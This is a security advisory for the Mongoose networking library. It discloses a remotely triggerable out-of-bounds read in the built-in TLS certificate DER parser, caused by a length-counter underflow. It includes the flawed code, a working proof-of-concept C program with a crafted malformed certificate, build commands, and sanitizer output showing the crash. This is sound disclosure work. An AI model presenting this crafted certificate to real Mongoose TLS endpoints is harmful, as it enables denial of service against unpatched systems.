Skip to content

Out-of-bounds Read via length-counter underflow in built-in TLS X.509 DER parser

High
scaprile published GHSA-f6wr-mg35-p25g Aug 12, 2026

Package

mongoose

Affected versions

7.22

Patched versions

7.23

Description

Summary

A malicious TLS peer can trigger an out-of-bounds read in the certificate DER parser of a Mongoose application built with the built-in TLS stack (MG_TLS == MG_TLS_BUILTIN) by presenting a crafted X.509 certificate. On targets with an MMU this can crash the process (denial of service).

Mechanism: the long-form length branch of mg_der_to_tlv decodes an attacker-controlled element length without checking it against the remaining buffer, so mg_der_next computes parent->len -= (uint32_t) consumed with consumed > parent->len. Because parent->len is uint32_t, this underflows to a huge value and advances parent->value past the buffer; the parser then keeps walking that wild pointer and reads out of bounds. The bytes come from a peer certificate received during the TLS handshake, so the trigger is remote and untrusted.

Details

// mg_der_to_tlv(): the long-form branch validates the length OCTETS but NOT the content length
if (tlv->len > 0x7f) {
  uint32_t i;
  n = tlv->len - 0x80;
  if (n > 4 || dersz < (2 + n)) return -1;          // guards the length octets
  tlv->len = 0;
  for (i = 0; i < n; i++) tlv->len = (tlv->len << 8) | der[2 + i];
  if (n > (dersz - 2)) return -1;
  tlv->value += n;
  // MISSING: if (der + dersz < tlv->value + tlv->len) return -1;
} else {
  if (der + dersz < tlv->value + tlv->len) return -1;   // present only here
}

// mg_der_parse() returns consumed = 2 + n + tlv->len   (can exceed the parent element)

// mg_der_next():
consumed = mg_der_parse(parent->value, parent->len, child);
if (consumed < 0) return -1;
parent->value += consumed;
parent->len -= (uint32_t) consumed;    // uint32 underflow when consumed > parent->len

After the underflow (parent->len becomes a huge value and parent->value points past the buffer), mg_tls_parse_cert_der continues parsing and eventually invokes mg_der_to_tlv on the invalid pointer. This is not a bounded adjacent over-read; the pointer keeps advancing forward through memory on each iteration.

Reachability / threat model. During the handshake, mg_tls_parse_cert_der parses the peer's certificate; its mg_der_next chain (and the Subject/issuer/SAN searches via mg_der_find_oid) run over the certificate bytes. The certificate-message unpacking that precedes it validates only the length framing (chain and per-cert sizes), not the DER content, so a malformed length inside the certificate reaches the parser. The attacker is a TLS peer: a malicious/MITM server presenting a certificate to a Mongoose client, or a client presenting a certificate to a Mongoose server that requests and parses client certificates. A TLS peer controls the DER encoding of the certificate it presents during the handshake, allowing a malformed long-form length to reach the parser.

Relationship to PR #3467. PR #3467 concerned a different over-read in the same function (reading the length octets der[2..2+n] when the buffer is too small), now guarded by if (n > 4 || dersz < (2 + n)) return -1;. This report is the missing content-length bound afterwards; the PoC input passes the #3467 guard and still underflows, so it reproduces with that check in place.

Why the unit tests do not catch it. The TLS tests parse well-formed certificates; none supplies a certificate whose DER carries a long-form length that exceeds its enclosing element. This is the normal mg_tls_parse_cert_der path on hostile input, not misuse of the API.

PoC

poc_mg_tls_parse_cert_der.c compiles the real mongoose.c directly (via #include), so the fault occurs inside the actual library functions, and feeds a crafted, malformed certificate DER to mg_tls_parse_cert_der. The PoC intentionally supplies a minimal malformed DER buffer directly to the certificate parser in order to isolate the parsing defect. It is not intended to represent a complete X.509 certificate. The fault occurs at the version step, before any signature or validity-date check:

30 08              Certificate ::= SEQUENCE, length 8
  30 06            TBSCertificate ::= SEQUENCE, length 6
    A0 81 7F       [0] version, long-form length = 127  (>> the 6-byte TBS)
    02 01 02       inner INTEGER 2, so the version check passes

A TLS peer controls the DER encoding of the certificate it presents.

Full PoC (poc_mg_tls_parse_cert_der.c):

#include "mongoose.c"   /* the real library; MG_TLS=MG_TLS_BUILTIN via -D */

int main(void) {
  /* Minimal malformed certificate DER. The version element declares a
   * long-form length of 127 although only 6 bytes remain in TBSCertificate.
   */
  static const uint8_t cert[] = {
      0x30, 0x08,              /* Certificate SEQUENCE */
      0x30, 0x06,              /* TBSCertificate SEQUENCE */
      0xA0, 0x81, 0x7F,        /* [0] version, declared length 127 */
      0x02, 0x01, 0x02         /* INTEGER 2 */
  };

  const size_t n = sizeof(cert);
  uint8_t *der = (uint8_t *) malloc(n);
  memcpy(der, cert, n);

  struct mg_tls_cert ci;
  memset(&ci, 0, sizeof ci);
  int r = mg_tls_parse_cert_der(der, n, &ci);

  free(der);
  return r < 0 ? 0 : r;   /* reached only if the bug is fixed (cert rejected) */
}
git clone https://github.com/cesanta/mongoose.git
cd mongoose
git checkout 6709c028aa5fb60f26ef9e5e49ee460f63564077   # MG_VERSION 7.22
cc -g -O0 -fsanitize=address -fno-omit-frame-pointer -I. \
   -DMG_TLS=MG_TLS_BUILTIN -DMG_ENABLE_TCPIP=0 \
   ./poc_mg_tls_parse_cert_der.c -o poc
./poc 2>&1 | tee mg_tls_parse_cert_der_asan.log

Output (AddressSanitizer):

==792678==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000096 at pc 0x55d6949533df bp 0x7ffd2e20db10 sp 0x7ffd2e20db00
READ of size 1 at 0x602000000096 thread T0
    #0 0x55d6949533de in mg_der_to_tlv mongoose.c:16216
    #1 0x55d69495372c in mg_der_parse mongoose.c:16236
    #2 0x55d6949538bd in mg_der_next mongoose.c:16245
    #3 0x55d69495fefc in mg_tls_parse_cert_der mongoose.c:17477
    #4 0x55d69498c8bc in main poc_mg_tls_parse_cert_der.c:31
    #5 0x7ff2a727d082 in __libc_start_main ../csu/libc-start.c:308
    #6 0x55d6948f7b6d in _start (./poc+0x13b6d)

The read is at an invalid pointer inside mg_der_to_tlv, reached from mg_tls_parse_cert_der.

The PoC exercises the real certificate-parsing entry point (mg_tls_parse_cert_der). It does not run a full TLS handshake; in a real connection the certificate reaches the parser after AEAD record decryption, which the PoC skips by calling the parser on the plaintext directly.

Impact

Memory-safety defect (out-of-bounds read) reachable remotely and without authentication.

Who is impacted: any application built with Mongoose's built-in TLS stack (MG_TLS == MG_TLS_BUILTIN) that parses a peer certificate: TLS clients validating a server's certificate, and TLS servers that request and parse client certificates. The certificate is parsed during the handshake, before authentication completes, so no credentials are required.

Severity by target:

  • Targets with an MMU (e.g. hosted Linux builds that use built-in TLS): the invalid-pointer walk reaches unmapped memory, causing a reliable crash (remote denial of service).
  • Bare-metal / no-MMU embedded targets: the over-read may not fault; behavior is undefined and depends on the memory map.

What this is not:

  • Not RCE: this is a read, there is no write primitive.
  • Not a demonstrated information leak: the over-read bytes are only compared against fixed OIDs; they are not returned to the peer.
  • Not a certificate-validation bypass: the fault occurs during parsing, before any verdict, and the OID search returning ≤ 0 makes hostname checks fail closed.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-73260

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits